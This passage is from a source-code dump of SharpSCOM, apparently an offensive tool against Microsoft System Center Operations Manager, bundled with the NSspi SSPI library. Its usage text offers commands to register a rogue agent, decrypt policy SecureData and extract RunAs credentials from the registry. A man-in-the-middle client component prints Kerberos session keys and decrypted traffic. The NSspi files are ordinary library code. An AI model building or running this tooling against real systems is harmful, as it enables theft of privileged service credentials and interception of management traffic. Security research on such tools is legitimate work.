Decrypt SecureData section from a policy file"); 30 | Console.WriteLine(" DecryptRunAs Extract and decrypt RunAs credentials from registry"); 31 | Console.WriteLine(); 32 | Console.WriteLine("Common Options:"); 33 | Console.WriteLine(" /hostname: Computer hostname (default: current machine)"); 34 | Console.WriteLine(" /managementgroup: SCOM management group name"); 35 | Console.WriteLine(" /server: SCOM server address"); 36 | Console.WriteLine(" /port: SCOM server port (default: 5723)"); 37 | Console.WriteLine(" /outfile: Output file path"); 38 | Console.WriteLine(" /data: Base64-encoded data"); 39 | Console.WriteLine(" /key: RSA private key in XML format"); 40 | Console.WriteLine(" /verbose Enable verbose output"); 41 | Console.WriteLine(" /help Show this help message"); 42 | Console.WriteLine(); 43 | Console.WriteLine("Examples:"); 44 | Console.WriteLine(" SharpSCOM RegisterAgent /managementgroup:MG1 /server:scom.domain.com"); 45 | Console.WriteLine(" SharpSCOM DecryptPolicy /data: /outfile:policy.xml"); 46 | Console.WriteLine(" SharpSCOM DecryptRunAs"); 47 | Console.WriteLine(); 48 | } 49 | } 50 | } 51 | 52 | -------------------------------------------------------------------------------- /nsspi/NSspi/Contexts/ImpersonationHandle.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Principal; 3 | using System.Threading; 4 | 5 | namespace NSspi.Contexts 6 | { 7 | /// 8 | /// Represents impersonation performed on a server on behalf of a client. 9 | /// 10 | /// 11 | /// The handle controls the lifetime of impersonation, and will revert the impersonation 12 | /// if it is disposed, or if it is finalized ie by being leaked and garbage collected. 13 | /// 14 | /// If the handle is accidentally leaked while operations are performed on behalf of the user, 15 | /// impersonation may be reverted at any arbitrary time, perhaps during those operations. 16 | /// This may lead to operations being performed in the security context of the server, 17 | /// potentially leading to security vulnerabilities. 18 | /// 19 | public class ImpersonationHandle : IDisposable 20 | { 21 | private readonly ServerContext server; 22 | 23 | private bool disposed; 24 | 25 | /// 26 | /// Initializes a new instance of the ImpersonationHandle. Does not perform impersonation. 27 | /// 28 | /// The server context that is performing impersonation. 29 | internal ImpersonationHandle( ServerContext server ) 30 | { 31 | this.server = server; 32 | this.disposed = false; 33 | } 34 | 35 | /// 36 | /// Finalizes the ImpersonationHandle by reverting the impersonation. 37 | /// 38 | ~ImpersonationHandle() 39 | { 40 | Dispose( false ); 41 | } 42 | 43 | /// 44 | /// Reverts impersonation. 45 | /// 46 | public void Dispose() 47 | { 48 | Dispose( true ); 49 | GC.SuppressFinalize( this ); 50 | } 51 | 52 | /// 53 | /// Reverts impersonation. 54 | /// 55 | /// True if being disposed, false if being finalized. 56 | private void Dispose( bool disposing ) 57 | { 58 | // This implements a variant of the typical dispose pattern. Always try to revert 59 | // impersonation, even if finalizing. Don't do anything if we're already reverted. 60 | 61 | if( this.disposed == false ) 62 | { 63 | this.disposed = true; 64 | 65 | // Just in case the reference is being pulled out from under us, pull a stable copy 66 | // of the reference while we're null-checking. 67 | var serverCopy = this.server; 68 | 69 | if( serverCopy != null && serverCopy.Disposed == false ) 70 | { 71 | serverCopy.RevertImpersonate(); 72 | } 73 | } 74 | } 75 | } 76 | } -------------------------------------------------------------------------------- /nsspi/NSspi.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 16.0.28527.54 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestClient", "TestClient\TestClient.csproj", "{E93FBF1A-5198-44D6-BDF0-880D17F2B81A}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestProtocol", "TestProtocol\TestProtocol.csproj", "{9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestServer", "TestServer\TestServer.csproj", "{35B8280A-8EB1-4FB5-B448-B4E9F132317F}" 11 | EndProject 12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NSspi", "NSspi\NSspi.csproj", "{4B4CD933-BF62-4F92-B8FA-6771758C5197}" 13 | EndProject 14 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NsspiDemo", "NsspiDemo\NsspiDemo.csproj", "{43FD19B6-656A-4AA1-9D3B-40B3A0C94084}" 15 | EndProject 16 | Global 17 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 18 | Debug|Any CPU = Debug|Any CPU 19 | Release|Any CPU = Release|Any CPU 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {E93FBF1A-5198-44D6-BDF0-880D17F2B81A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {E93FBF1A-5198-44D6-BDF0-880D17F2B81A}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | {E93FBF1A-5198-44D6-BDF0-880D17F2B81A}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {E93FBF1A-5198-44D6-BDF0-880D17F2B81A}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}.Release|Any CPU.ActiveCfg = Release|Any CPU 29 | {9BFD94E1-D9FB-44D7-A6E7-8BAC2620E535}.Release|Any CPU.Build.0 = Release|Any CPU 30 | {35B8280A-8EB1-4FB5-B448-B4E9F132317F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 31 | {35B8280A-8EB1-4FB5-B448-B4E9F132317F}.Debug|Any CPU.Build.0 = Debug|Any CPU 32 | {35B8280A-8EB1-4FB5-B448-B4E9F132317F}.Release|Any CPU.ActiveCfg = Release|Any CPU 33 | {35B8280A-8EB1-4FB5-B448-B4E9F132317F}.Release|Any CPU.Build.0 = Release|Any CPU 34 | {4B4CD933-BF62-4F92-B8FA-6771758C5197}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 35 | {4B4CD933-BF62-4F92-B8FA-6771758C5197}.Debug|Any CPU.Build.0 = Debug|Any CPU 36 | {4B4CD933-BF62-4F92-B8FA-6771758C5197}.Release|Any CPU.ActiveCfg = Release|Any CPU 37 | {4B4CD933-BF62-4F92-B8FA-6771758C5197}.Release|Any CPU.Build.0 = Release|Any CPU 38 | {43FD19B6-656A-4AA1-9D3B-40B3A0C94084}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 39 | {43FD19B6-656A-4AA1-9D3B-40B3A0C94084}.Debug|Any CPU.Build.0 = Debug|Any CPU 40 | {43FD19B6-656A-4AA1-9D3B-40B3A0C94084}.Release|Any CPU.ActiveCfg = Release|Any CPU 41 | {43FD19B6-656A-4AA1-9D3B-40B3A0C94084}.Release|Any CPU.Build.0 = Release|Any CPU 42 | EndGlobalSection 43 | GlobalSection(SolutionProperties) = preSolution 44 | HideSolutionNode = FALSE 45 | EndGlobalSection 46 | EndGlobal 47 | -------------------------------------------------------------------------------- /nsspi/NSspi/SecureBuffer/SecureBuffer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace NSspi.Buffers 5 | { 6 | /// 7 | /// Represents a native SecureBuffer structure, which is used for communicating 8 | /// buffers to the native APIs. 9 | /// 10 | [StructLayout( LayoutKind.Sequential )] 11 | internal struct SecureBufferInternal 12 | { 13 | /// 14 | /// When provided to the native API, the total number of bytes available in the buffer. 15 | /// On return from the native API, the number of bytes that were filled or used by the 16 | /// native API. 17 | /// 18 | public int Count; 19 | 20 | /// 21 | /// The type or purpose of the buffer. 22 | /// 23 | public BufferType Type; 24 | 25 | /// 26 | /// An pointer to a pinned byte[] buffer. 27 | /// 28 | public IntPtr Buffer; 29 | } 30 | 31 | /// 32 | /// Stores buffers to provide tokens and data to the native SSPI APIs. 33 | /// 34 | /// The buffer is translated into a SecureBufferInternal for the actual call. 35 | /// To keep the call setup code simple, and to centralize the buffer pinning code, 36 | /// this class stores and returns buffers as regular byte arrays. The buffer 37 | /// pinning support code in SecureBufferAdapter handles conversion to SecureBufferInternal 38 | /// for pass to the managed api, as well as pinning relevant chunks of memory. 39 | /// 40 | /// Furthermore, the native API may not use the entire buffer, and so a mechanism 41 | /// is needed to communicate the usage of the buffer separate from the length 42 | /// of the buffer. 43 | internal class SecureBuffer 44 | { 45 | /// 46 | /// Initializes a new instance of the SecureBuffer class. 47 | /// 48 | /// The buffer to wrap. 49 | /// The type or purpose of the buffer, for purposes of 50 | /// invoking the native API. 51 | public SecureBuffer( byte[] buffer, BufferType type ) 52 | { 53 | this.Buffer = buffer; 54 | this.Type = type; 55 | this.Length = this.Buffer.Length; 56 | } 57 | 58 | /// 59 | /// The type or purposes of the API, for invoking the native API. 60 | /// 61 | public BufferType Type { get; set; } 62 | 63 | /// 64 | /// The buffer to provide to the native API. 65 | /// 66 | public byte[] Buffer { get; set; } 67 | 68 | /// 69 | /// The number of elements that were actually filled or used by the native API, 70 | /// which may be less than the total length of the buffer. 71 | /// 72 | public int Length { get; internal set; } 73 | } 74 | } -------------------------------------------------------------------------------- /nsspi/NSspi/EnumMgr.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | 4 | namespace NSspi 5 | { 6 | /// 7 | /// Tags an enumeration member with a string that can be programmatically accessed. 8 | /// 9 | [AttributeUsage( AttributeTargets.Field )] 10 | public class EnumStringAttribute : Attribute 11 | { 12 | /// 13 | /// Initializes a new instance of the class. 14 | /// 15 | /// The string to associate with the enumeration member. 16 | public EnumStringAttribute( string text ) 17 | { 18 | this.Text = text; 19 | } 20 | 21 | /// 22 | /// Gets the string associated with the enumeration member. 23 | /// 24 | public string Text { get; private set; } 25 | } 26 | 27 | /// 28 | /// Converts betwen enumeration members and the strings associated to the members through the 29 | /// type. 30 | /// 31 | public class EnumMgr 32 | { 33 | /// 34 | /// Gets the text associated with the given enumeration member through a . 35 | /// 36 | /// 37 | /// 38 | public static string ToText( Enum value ) 39 | { 40 | FieldInfo field = value.GetType().GetField( value.ToString() ); 41 | 42 | EnumStringAttribute[] attribs = (EnumStringAttribute[])field.GetCustomAttributes( typeof( EnumStringAttribute ), false ); 43 | 44 | if( attribs == null || attribs.Length == 0 ) 45 | { 46 | return null; 47 | } 48 | else 49 | { 50 | return attribs[0].Text; 51 | } 52 | } 53 | 54 | /// 55 | /// Returns the enumeration member that is tagged with the given text using the type. 56 | /// 57 | /// The enumeration type to inspect. 58 | /// 59 | /// 60 | public static T FromText( string text ) 61 | { 62 | FieldInfo[] fields = typeof( T ).GetFields(); 63 | 64 | EnumStringAttribute[] attribs; 65 | 66 | foreach( FieldInfo field in fields ) 67 | { 68 | attribs = (EnumStringAttribute[])field.GetCustomAttributes( typeof( EnumStringAttribute ), false ); 69 | 70 | foreach( EnumStringAttribute attrib in attribs ) 71 | { 72 | if( attrib.Text == text ) 73 | { 74 | return (T)field.GetValue( null ); 75 | } 76 | } 77 | } 78 | 79 | throw new ArgumentException( "Could not find a matching enumeration value for the text '" + text + "'." ); 80 | } 81 | } 82 | } -------------------------------------------------------------------------------- /nsspi/NSspi/ByteWriter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi 4 | { 5 | /// 6 | /// Reads and writes value types to byte arrays with explicit endianness. 7 | /// 8 | public static class ByteWriter 9 | { 10 | // Big endian: Most significant byte at lowest address in memory. 11 | 12 | /// 13 | /// Writes a 2-byte signed integer to the buffer in big-endian format. 14 | /// 15 | /// The value to write to the buffer. 16 | /// The buffer to write to. 17 | /// The index of the first byte to write to. 18 | public static void WriteInt16_BE( Int16 value, byte[] buffer, int position ) 19 | { 20 | buffer[position + 0] = (byte)( value >> 8 ); 21 | buffer[position + 1] = (byte)( value ); 22 | } 23 | 24 | /// 25 | /// Writes a 4-byte signed integer to the buffer in big-endian format. 26 | /// 27 | /// The value to write to the buffer. 28 | /// The buffer to write to. 29 | /// The index of the first byte to write to. 30 | public static void WriteInt32_BE( Int32 value, byte[] buffer, int position ) 31 | { 32 | buffer[position + 0] = (byte)( value >> 24 ); 33 | buffer[position + 1] = (byte)( value >> 16 ); 34 | buffer[position + 2] = (byte)( value >> 8 ); 35 | buffer[position + 3] = (byte)( value ); 36 | } 37 | 38 | /// 39 | /// Reads a 2-byte signed integer that is stored in the buffer in big-endian format. 40 | /// The returned value is in the native endianness. 41 | /// 42 | /// The buffer to read. 43 | /// The index of the first byte to read. 44 | /// 45 | public static Int16 ReadInt16_BE( byte[] buffer, int position ) 46 | { 47 | Int16 value; 48 | 49 | value = (Int16)( buffer[position + 0] << 8 ); 50 | value += (Int16)( buffer[position + 1] ); 51 | 52 | return value; 53 | } 54 | 55 | /// 56 | /// Reads a 4-byte signed integer that is stored in the buffer in big-endian format. 57 | /// The returned value is in the native endianness. 58 | /// 59 | /// The buffer to read. 60 | /// The index of the first byte to read. 61 | /// 62 | public static Int32 ReadInt32_BE( byte[] buffer, int position ) 63 | { 64 | Int32 value; 65 | 66 | value = (Int32)( buffer[position + 0] << 24 ); 67 | value |= (Int32)( buffer[position + 1] << 16 ); 68 | value |= (Int32)( buffer[position + 2] << 8 ); 69 | value |= (Int32)( buffer[position + 3] ); 70 | 71 | return value; 72 | } 73 | } 74 | } -------------------------------------------------------------------------------- /SharpSCOM/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using SharpSCOM.Cmdline; 3 | using SharpSCOM.Commands; 4 | using SharpSCOM.Agent; 5 | using SharpSCOM.Common; 6 | using System.Security.Policy; 7 | 8 | namespace SharpSCOM 9 | { 10 | class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | try 15 | { 16 | // Parse arguments 17 | var parsedArgs = Options.ParseArgs(args); 18 | var commandName = args.Length != 0 ? args[0] : ""; 19 | 20 | Info.ShowLogo(); 21 | 22 | // Handle help or no command 23 | if (parsedArgs.ContainsKey("help") || string.IsNullOrEmpty(commandName)) 24 | { 25 | Info.ShowUsage(); 26 | return; 27 | } 28 | 29 | // Validate required arguments 30 | if (!Options.ValidateRequiredArgs(commandName, parsedArgs)) 31 | { 32 | Info.ShowUsage(); 33 | return; 34 | } 35 | 36 | // Get arguments 37 | var arguments = Options.ArgumentValues(parsedArgs); 38 | if (arguments == null) 39 | return; 40 | 41 | // Initialise cmdline logger 42 | LoggerFactory.Initialize(arguments.Verbose); 43 | 44 | // Set default hostname if not provided 45 | if (string.IsNullOrEmpty(arguments.Hostname) && !string.IsNullOrEmpty(arguments.Server)) 46 | { 47 | arguments.Hostname = AgentCommon.GetCurrentHostnameFullyQualified(); 48 | Console.WriteLine("[!] WARNING: No hostname provided, using current computer name"); 49 | } 50 | 51 | // Display configuration 52 | if (!string.IsNullOrEmpty(arguments.Server)) 53 | { 54 | Console.WriteLine($"[+] Using Hostname: {arguments.Hostname} ({AgentCommon.GetAgentGuidFromHostname(arguments.Hostname)})"); 55 | 56 | if (!string.IsNullOrEmpty(arguments.ManagementGroup)) 57 | { 58 | Console.WriteLine($"[+] Using Management Group: {arguments.ManagementGroup} ({AgentCommon.GetGuidFromString(arguments.ManagementGroup).ToString()})"); 59 | } 60 | 61 | Console.WriteLine($"[+] Server: {arguments.Server}:{arguments.Port}"); 62 | } 63 | 64 | // Create command collection and execute 65 | var commandCollection = new CommandCollection(); 66 | 67 | if (!commandCollection.ExecuteCommand(commandName, arguments)) 68 | { 69 | Console.WriteLine($"[!] Unknown command: {commandName}"); 70 | Info.ShowUsage(); 71 | } 72 | } 73 | catch (Exception ex) 74 | { 75 | Console.WriteLine($"[!] Fatal error: {ex.Message}"); 76 | Console.WriteLine($"[!] Stack trace: {ex.StackTrace}"); 77 | } 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /nsspi/NSspi/SspiHandle.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.ConstrainedExecution; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace NSspi 6 | { 7 | /// 8 | /// Represents the raw structure for any handle created for the SSPI API, for example, credential 9 | /// handles, context handles, and security package handles. Any SSPI handle is always the size 10 | /// of two native pointers. 11 | /// 12 | /// 13 | /// The documentation for SSPI handles can be found here: 14 | /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa380495(v=vs.85).aspx 15 | /// 16 | /// This class is not reference safe - if used directly, or referenced directly, it may be leaked, 17 | /// or subject to finalizer races, or any of the hundred of things SafeHandles were designed to fix. 18 | /// Do not directly use this class - use only though SafeHandle wrapper objects. Any reference needed 19 | /// to this handle for performing work (InitializeSecurityContext, eg) should be performed a CER 20 | /// that employs handle reference counting across the native API invocation. 21 | /// 22 | [StructLayout( LayoutKind.Sequential, Pack = 1 )] 23 | internal struct RawSspiHandle 24 | { 25 | private IntPtr lowPart; 26 | private IntPtr highPart; 27 | 28 | /// 29 | /// Returns whether or not the handle is set to the default, empty value. 30 | /// 31 | /// 32 | public bool IsZero() 33 | { 34 | return this.lowPart == IntPtr.Zero && this.highPart == IntPtr.Zero; 35 | } 36 | 37 | /// 38 | /// Sets the handle to an invalid value. 39 | /// 40 | /// 41 | /// This method is executed in a CER during handle release. 42 | /// 43 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 44 | public void SetInvalid() 45 | { 46 | this.lowPart = IntPtr.Zero; 47 | this.highPart = IntPtr.Zero; 48 | } 49 | } 50 | 51 | /// 52 | /// Safely encapsulates a raw handle used in the SSPI api. 53 | /// 54 | public abstract class SafeSspiHandle : SafeHandle 55 | { 56 | internal RawSspiHandle rawHandle; 57 | 58 | /// 59 | /// Initializes a new instance of the class. 60 | /// 61 | protected SafeSspiHandle() 62 | : base( IntPtr.Zero, true ) 63 | { 64 | this.rawHandle = new RawSspiHandle(); 65 | } 66 | 67 | /// 68 | /// Gets whether the handle is invalid. 69 | /// 70 | public override bool IsInvalid 71 | { 72 | get { return IsClosed || this.rawHandle.IsZero(); } 73 | } 74 | 75 | /// 76 | /// Marks the handle as no longer being in use. 77 | /// 78 | /// 79 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 80 | protected override bool ReleaseHandle() 81 | { 82 | this.rawHandle.SetInvalid(); 83 | return true; 84 | } 85 | } 86 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/PasswordCredential.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.CompilerServices; 5 | using System.Text; 6 | 7 | namespace NSspi.Credentials 8 | { 9 | /// 10 | /// Represents credentials acquired by providing a username, password, and domain. 11 | /// 12 | public class PasswordCredential : Credential 13 | { 14 | /// 15 | /// Initializes a new instance of the PasswordCredential class. 16 | /// 17 | /// 18 | /// It is possible to acquire a valid handle to credentials that do not provide a valid 19 | /// username-password combination. The username and password are not validation until the 20 | /// authentication cycle begins. 21 | /// 22 | /// The domain to authenticate to. 23 | /// The username of the user to authenticate as. 24 | /// The user's password. 25 | /// The SSPI security package to create credentials for. 26 | /// 27 | /// Specify inbound when acquiring credentials for a server; outbound for a client. 28 | /// 29 | public PasswordCredential( string domain, string username, string password, string secPackage, CredentialUse use ) 30 | : base( secPackage ) 31 | { 32 | NativeAuthData authData = new NativeAuthData( domain, username, password, NativeAuthDataFlag.Unicode ); 33 | 34 | Init( authData, secPackage, use ); 35 | } 36 | 37 | private void Init( NativeAuthData authData, string secPackage, CredentialUse use ) 38 | { 39 | string packageName; 40 | TimeStamp rawExpiry = new TimeStamp(); 41 | SecurityStatus status = SecurityStatus.InternalError; 42 | 43 | // -- Package -- 44 | // Copy off for the call, since this.SecurityPackage is a property. 45 | packageName = this.SecurityPackage; 46 | 47 | this.Handle = new SafeCredentialHandle(); 48 | 49 | 50 | // The finally clause is the actual constrained region. The VM pre-allocates any stack space, 51 | // performs any allocations it needs to prepare methods for execution, and postpones any 52 | // instances of the 'uncatchable' exceptions (ThreadAbort, StackOverflow, OutOfMemory). 53 | RuntimeHelpers.PrepareConstrainedRegions(); 54 | try { } 55 | finally 56 | { 57 | status = CredentialNativeMethods.AcquireCredentialsHandle_AuthData( 58 | null, 59 | packageName, 60 | use, 61 | IntPtr.Zero, 62 | ref authData, 63 | IntPtr.Zero, 64 | IntPtr.Zero, 65 | ref this.Handle.rawHandle, 66 | ref rawExpiry 67 | ); 68 | } 69 | 70 | if( status != SecurityStatus.OK ) 71 | { 72 | throw new SSPIException( "Failed to call AcquireCredentialHandle", status ); 73 | } 74 | 75 | this.Expiry = rawExpiry.ToDateTime(); 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /SharpSCOM/Common/AgentCommon.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net.NetworkInformation; 5 | using System.Net; 6 | using System.Security.Cryptography; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace SharpSCOM.Common 11 | { 12 | class AgentCommon 13 | { 14 | public static string GetCurrentHostnameFullyQualified() 15 | { 16 | string hostName = Dns.GetHostName(); 17 | IPHostEntry hostEntry = Dns.GetHostEntry(hostName); 18 | return hostEntry.HostName; 19 | } 20 | 21 | public static Guid GetAgentGuidFromHostname(string hostname) 22 | { 23 | return GetGuidFromString($"TypeId={{AB4C891F-3359-3FB6-0704-075FBFE36710}},{{5C324096-D928-76DB-E9E7-E629DCC261B1}}={hostname.ToUpper()}"); 24 | } 25 | 26 | public static Guid GetGuidFromString(string textToHash) 27 | { 28 | bool isFipsEnforcementEnabled = false; 29 | 30 | SHA1 shA1; 31 | if (!isFipsEnforcementEnabled) 32 | { 33 | try 34 | { 35 | shA1 = (SHA1)new SHA1Managed(); 36 | } 37 | catch (InvalidOperationException ex) 38 | { 39 | isFipsEnforcementEnabled = true; 40 | shA1 = (SHA1)new SHA1CryptoServiceProvider(); 41 | } 42 | } 43 | else 44 | shA1 = (SHA1)new SHA1CryptoServiceProvider(); 45 | byte[] hash; 46 | using (shA1) 47 | { 48 | UnicodeEncoding unicodeEncoding = new UnicodeEncoding(); 49 | byte[] buffer = textToHash != null ? unicodeEncoding.GetBytes(textToHash.ToString()) : unicodeEncoding.GetBytes("".ToString()); 50 | hash = shA1.ComputeHash(buffer); 51 | } 52 | return new Guid((int)hash[3] << 24 | (int)hash[2] << 16 | (int)hash[1] << 8 | (int)hash[0], (short)((int)hash[5] << 8 | (int)hash[4]), (short)((int)hash[7] << 8 | (int)hash[6]), hash[8], hash[9], hash[10], hash[11], hash[12], hash[13], hash[14], hash[15]); 53 | } 54 | 55 | public static byte[] GenerateDownloadGuid() 56 | { 57 | Guid guid = Guid.NewGuid(); 58 | 59 | // Get the GUID as a string without hyphens (32 chars) 60 | string guidString = guid.ToString("N").ToUpper(); 61 | 62 | // Insert spaces between each pair of hex digits 63 | string spacedGuid = string.Join(" ", 64 | Enumerable.Range(0, guidString.Length / 2) 65 | .Select(i => guidString.Substring(i * 2, 2))); 66 | 67 | // Convert to UTF-16LE bytes 68 | byte[] utf16Bytes = Encoding.Unicode.GetBytes(spacedGuid); 69 | 70 | // Create output array with space for null terminator 71 | byte[] result = new byte[utf16Bytes.Length + 2]; 72 | Array.Copy(utf16Bytes, 0, result, 0, utf16Bytes.Length); 73 | result[utf16Bytes.Length] = 0x00; 74 | result[utf16Bytes.Length + 1] = 0x00; 75 | 76 | return result; 77 | } 78 | public static byte[] GenerateAgentTimestamp() 79 | { 80 | long fileTime64 = DateTime.UtcNow.ToFileTimeUtc(); 81 | 82 | // Split into high part 83 | uint dwHighDateTime = (uint)(fileTime64 >> 32); 84 | 85 | // Method 1: Convert to byte array (8 bytes total) 86 | byte[] fileTimeBytes = new byte[4]; 87 | 88 | // High DWORD (next 4 bytes) 89 | fileTimeBytes[0] = (byte)(dwHighDateTime & 0xFF); 90 | fileTimeBytes[1] = (byte)((dwHighDateTime >> 8) & 0xFF); 91 | fileTimeBytes[2] = (byte)((dwHighDateTime >> 16) & 0xFF); 92 | fileTimeBytes[3] = (byte)((dwHighDateTime >> 24) & 0xFF); 93 | 94 | return fileTimeBytes; 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /SCOMClient/ClientContextManager.cs: -------------------------------------------------------------------------------- 1 | using SCOM_MiTM; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Net.Sockets; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using NSspi; 9 | using NSspi.Contexts; 10 | using NSspi.Credentials; 11 | 12 | namespace SCOMClient 13 | { 14 | class ClientContextManager 15 | { 16 | private readonly ClientCurrentCredential _credential; 17 | private ClientContext _context; 18 | 19 | public ClientContextManager() 20 | { 21 | _credential = new ClientCurrentCredential(PackageNames.Kerberos); 22 | } 23 | 24 | public ClientContext CreateContext(string remoteServer) 25 | { 26 | _context = new ClientContext( 27 | _credential, 28 | $"MSOMHSvc/{remoteServer}", 29 | ContextAttrib.MutualAuth | 30 | ContextAttrib.InitIdentify | 31 | ContextAttrib.Confidentiality | 32 | ContextAttrib.ReplayDetect | 33 | ContextAttrib.SequenceDetect | 34 | ContextAttrib.Connection | 35 | ContextAttrib.Delegate 36 | ); 37 | 38 | return _context; 39 | } 40 | 41 | public ClientContext ProcessInitialRequest(NetworkStream stream, string remoteServer) 42 | { 43 | byte[] clientToken; 44 | SecurityStatus status = _context.Init(null, out clientToken); 45 | 46 | byte[] apReq = MessageGenerator.GenerateApReq(clientToken); 47 | stream.Write(apReq, 0, apReq.Length); 48 | stream.Flush(); 49 | 50 | byte[] serverToken = MessageParser.ParseApRep(stream); 51 | 52 | while (true) 53 | { 54 | status = _context.Init(serverToken, out clientToken); 55 | if (status != SecurityStatus.ContinueNeeded) break; 56 | } 57 | 58 | Console.WriteLine($"Client authority: {_context.AuthorityName}"); 59 | Console.WriteLine($"Client context user: {_context.ContextUserName}"); 60 | Console.WriteLine($"Client session key: {BitConverter.ToString(_context.QuerySessionKey())}"); 61 | 62 | return _context; 63 | } 64 | 65 | public byte[] EncryptWrapToken(byte[] plaintext) 66 | { 67 | byte[] ciphertext = MessageParser.SwapBytes(_context.Encrypt(plaintext)); 68 | 69 | Console.WriteLine($"[AGENT >>>>>> SCOM] [ENCRYPT] plaintext wrap token (base64): {Convert.ToBase64String(plaintext)}"); 70 | Console.WriteLine($"[AGENT >>>>>> SCOM] [ENCRYPT] zlib decompressed wrap token (base64): {Convert.ToBase64String(MessageParser.ParseDecWrapToken(plaintext))}"); 71 | 72 | return ciphertext; 73 | 74 | } 75 | 76 | public byte[] DecryptWrapToken(NetworkStream stream) 77 | { 78 | byte[] wrapToken = MessageParser.ParseKerbWrapToken(stream); 79 | byte[] plaintext = _context.Decrypt(MessageParser.SwapBytes(wrapToken)); 80 | 81 | try 82 | { 83 | Console.WriteLine($"[AGENT <<<<<<<<< SCOM] [DECRYPT] plaintext wrap token (base64): {Convert.ToBase64String(plaintext)}"); 84 | Console.WriteLine($"[AGENT <<<<<<<<< SCOM] [DECRYPT] zlib decompressed wrap token (base64): {Convert.ToBase64String(MessageParser.ParseDecWrapToken(plaintext))}"); 85 | //Console.WriteLine($"[SERVER <<<<<<<<< SCOM] [DECRYPT] decompressed kerb wrap token zlib: {BitConverter.ToString(MessageParser.ParseDecWrapToken(plaintext))}"); 86 | //Console.WriteLine($"[SERVER <<<<<<<<< SCOM] [DECRYPT] decompressed kerb wrap token zlib unicode: {Encoding.Unicode.GetString(MessageParser.ParseDecWrapToken(plaintext))}"); 87 | } 88 | catch (Exception e) 89 | { 90 | Console.WriteLine(e.Message); 91 | } 92 | 93 | return plaintext; 94 | } 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /SCOM_MiTM/MessageGenerator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SCOM_MiTM 8 | { 9 | static class MessageGenerator 10 | { 11 | public static byte[] GenerateApReq(byte[] clientToken) 12 | { 13 | // SCOM headers 14 | byte[] scom_ap_req_1_header = { 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x7d, 0x1c, 0x01, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xf0, 0x23, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 